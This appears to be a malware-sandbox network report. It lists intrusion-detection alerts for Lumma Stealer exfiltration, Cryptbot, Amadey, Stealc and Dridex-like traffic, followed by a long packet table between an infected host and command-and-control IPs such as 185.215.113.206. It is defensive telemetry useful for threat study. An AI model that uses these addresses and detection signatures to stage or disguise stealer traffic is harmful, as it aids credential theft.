2024-12-02T11:21:59.411960+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.11.20	49778	172.67.165.166	443	TCP
2024-12-02T11:21:59.998594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49781	172.67.165.166	443	TCP
2024-12-02T11:22:00.123064+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.11.20	49780	34.159.64.221	80	TCP
2024-12-02T11:22:01.301360+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49782	172.67.165.166	443	TCP
2024-12-02T11:22:02.547013+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.11.20	49783	34.159.64.221	80	TCP
2024-12-02T11:22:03.364448+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49784	185.215.113.43	80	TCP
2024-12-02T11:22:03.885485+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.11.20	49782	172.67.165.166	443	TCP
2024-12-02T11:22:03.885485+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49782	172.67.165.166	443	TCP
2024-12-02T11:22:04.012941+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49785	185.215.113.16	80	TCP
2024-12-02T11:22:04.207557+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49786	172.67.165.166	443	TCP
2024-12-02T11:22:04.262785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49787	172.67.165.166	443	TCP
2024-12-02T11:22:07.001450+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.11.20	49787	172.67.165.166	443	TCP
2024-12-02T11:22:07.001450+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49787	172.67.165.166	443	TCP
2024-12-02T11:22:09.805794+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49832	172.67.165.166	443	TCP
2024-12-02T11:22:09.868381+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.11.20	49829	34.159.64.221	80	TCP
2024-12-02T11:22:09.942001+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49831	185.215.113.43	80	TCP
2024-12-02T11:22:09.985369+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.11.20	49830	185.215.113.206	80	TCP
2024-12-02T11:22:13.228176+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49838	172.67.165.166	443	TCP
2024-12-02T11:22:14.932766+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49842	172.67.165.166	443	TCP
2024-12-02T11:22:17.781900+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49844	172.67.165.166	443	TCP
2024-12-02T11:22:18.307950+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.11.20	49838	172.67.165.166	443	TCP
2024-12-02T11:22:18.827587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49846	172.67.165.166	443	TCP
2024-12-02T11:22:20.861347+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49854	172.67.165.166	443	TCP
2024-12-02T11:22:21.472546+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49846	172.67.165.166	443	TCP
2024-12-02T11:22:22.118566+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.11.20	49876	185.215.113.16	80	TCP
2024-12-02T11:22:23.852376+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49882	172.67.165.166	443	TCP
2024-12-02T11:22:26.871806+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49885	172.67.165.166	443	TCP
2024-12-02T11:22:29.644623+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49889	172.67.165.166	443	TCP
2024-12-02T11:22:32.778129+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.11.20	49889	172.67.165.166	443	TCP
2024-12-02T11:22:32.778129+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.11.20	49889	172.67.165.166	443	TCP
2024-12-02T11:22:33.109780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49892	172.67.165.166	443	TCP
2024-12-02T11:22:34.035678+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49892	172.67.165.166	443	TCP
2024-12-02T11:22:34.681188+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.11.20	49903	185.215.113.16	80	TCP
2024-12-02T11:24:45.149312+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.11.20	50082	188.119.66.185	443	TCP
2024-12-02T11:24:45.900642+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	50082	188.119.66.185	443	TCP
2024-12-02T11:25:46.566797+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.11.20	50113	188.119.66.185	443	TCP
2024-12-02T11:25:47.326677+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	50113	188.119.66.185	443	TCP
2024-12-02T11:26:20.556570+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.11.20	50136	185.215.113.43	80	TCP
2024-12-02T11:26:47.980795+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.11.20	50150	188.119.66.185	443	TCP
2024-12-02T11:26:48.742105+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	50150	188.119.66.185	443	TCP
2024-12-02T11:27:49.399911+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.11.20	50180	188.119.66.185	443	TCP
2024-12-02T11:27:50.178231+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	50180	188.119.66.185	443	TCP
2024-12-02T11:28:50.838786+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.11.20	50210	188.119.66.185	443	TCP
2024-12-02T11:28:51.611602+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	50210	188.119.66.185	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 11:19:55.364588976 CET	49697	443	192.168.11.20	20.42.65.85
Dec 2, 2024 11:19:55.380109072 CET	49698	80	192.168.11.20	192.229.211.108
Dec 2, 2024 11:19:55.536767006 CET	80	49698	192.229.211.108	192.168.11.20
Dec 2, 2024 11:19:55.537070036 CET	49698	80	192.168.11.20	192.229.211.108
Dec 2, 2024 11:19:55.579958916 CET	443	49697	20.42.65.85	192.168.11.20
Dec 2, 2024 11:19:55.580108881 CET	49697	443	192.168.11.20	20.42.65.85
Dec 2, 2024 11:19:59.394891024 CET	49690	80	192.168.11.20	192.229.211.108
Dec 2, 2024 11:19:59.394891024 CET	49686	443	192.168.11.20	20.190.190.130
Dec 2, 2024 11:19:59.394891024 CET	49689	80	192.168.11.20	199.232.214.172
Dec 2, 2024 11:19:59.395086050 CET	49692	443	192.168.11.20	20.190.190.130
Dec 2, 2024 11:19:59.551752090 CET	80	49690	192.229.211.108	192.168.11.20
Dec 2, 2024 11:19:59.552032948 CET	49690	80	192.168.11.20	192.229.211.108
Dec 2, 2024 11:19:59.559053898 CET	443	49686	20.190.190.130	192.168.11.20
Dec 2, 2024 11:19:59.559103012 CET	443	49692	20.190.190.130	192.168.11.20
Dec 2, 2024 11:19:59.559272051 CET	49692	443	192.168.11.20	20.190.190.130
Dec 2, 2024 11:19:59.559272051 CET	49686	443	192.168.11.20	20.190.190.130
Dec 2, 2024 11:19:59.573837042 CET	80	49689	199.232.214.172	192.168.11.20
Dec 2, 2024 11:19:59.573884964 CET	80	49689	199.232.214.172	192.168.11.20
Dec 2, 2024 11:19:59.574094057 CET	49689	80	192.168.11.20	199.232.214.172
Dec 2, 2024 11:19:59.722965002 CET	49688	443	192.168.11.20	20.190.190.130
Dec 2, 2024 11:19:59.887082100 CET	443	49688	20.190.190.130	192.168.11.20
Dec 2, 2024 11:19:59.887295008 CET	49688	443	192.168.11.20	20.190.190.130
Dec 2, 2024 11:20:03.503320932 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:03.825526953 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:03.825908899 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:03.826297045 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:04.147747040 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:04.147794008 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:04.147999048 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:04.150130987 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:04.472810984 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:04.490335941 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:04.490552902 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:04.491471052 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:04.812644958 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:04.815238953 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:04.815293074 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:04.815604925 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:04.817477942 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.139080048 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.141901016 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.142092943 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.142132998 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.142220974 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.142278910 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.142287970 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.142452002 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.142471075 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.142525911 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.142637014 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.142637014 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.143775940 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.467528105 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.467710972 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.484636068 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.484636068 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:05.806118965 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.806128979 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:05.806134939 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.360451937 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.360652924 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.482191086 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.804721117 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.804757118 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.804783106 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.804907084 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.804960012 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.805039883 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.805075884 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.805102110 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.805145979 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.805172920 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.805237055 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.805277109 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.805354118 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.805354118 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.805484056 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:06.805587053 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:06.805634022 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.126527071 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.126575947 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.126810074 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.126890898 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.126926899 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127140999 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.127213001 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127248049 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127288103 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127315998 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127450943 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127494097 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.127641916 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.127644062 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127691031 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127717972 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127809048 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.127824068 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.127912045 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.128051043 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.128055096 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.128089905 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.128118038 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.128204107 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.128258944 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.128259897 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.128444910 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.128479004 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.128483057 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.128505945 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.128629923 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.128731012 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.448467016 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.448662996 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.448704004 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.448717117 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.448903084 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.448915005 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.448942900 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449080944 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449096918 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.449115992 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449147940 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.449193954 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449250937 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.449250937 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.449412107 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.449537039 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449593067 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449625969 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449671984 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449702024 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449742079 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.449820995 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449920893 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.449960947 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.449966908 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450069904 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450114012 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450135946 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450206995 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450303078 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450339079 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450407982 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450440884 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450485945 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450562000 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450577021 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450622082 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450711966 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.450758934 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450957060 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.450972080 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451004982 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451035023 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451179028 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.451208115 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451240063 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451319933 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.451411963 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.451670885 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451714993 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451760054 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451864004 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.451895952 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451942921 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.451975107 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.452013016 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.452090979 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.452156067 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.452158928 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.452188015 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.452404022 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.452409029 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.452454090 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.452483892 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.452574968 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.452660084 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.452748060 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.452852011 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.770565033 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.770658016 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.770704031 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.770801067 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.770885944 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.770931005 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.771007061 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771084070 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771127939 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771193027 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771236897 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771312952 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.771374941 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.771374941 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.771394014 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771471024 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771518946 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771578074 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771672964 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.771733046 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.771733046 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771825075 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.771886110 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771950960 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.771994114 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.772001982 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772046089 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772124052 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.772146940 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772186995 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.772207022 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772229910 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.772346973 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.772353888 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772397995 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772450924 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.772537947 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772732973 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.772999048 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773062944 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773108959 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773170948 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773210049 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.773231983 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773258924 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.773375988 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.773421049 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.773519993 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773597002 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773669004 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773713112 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773756027 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773758888 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.773821115 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.773897886 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.773953915 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.773999929 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774032116 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774041891 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774104118 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774199963 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774225950 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774260044 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774276018 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774333954 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774437904 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774461985 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774497986 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774533033 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774576902 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774580956 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774679899 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774719000 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774764061 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774821997 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.774947882 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.774995089 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.775038958 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.775084019 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.775175095 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:07.775249958 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:07.775296926 CET	80	49718	185.215.113.206	192.168.11.20
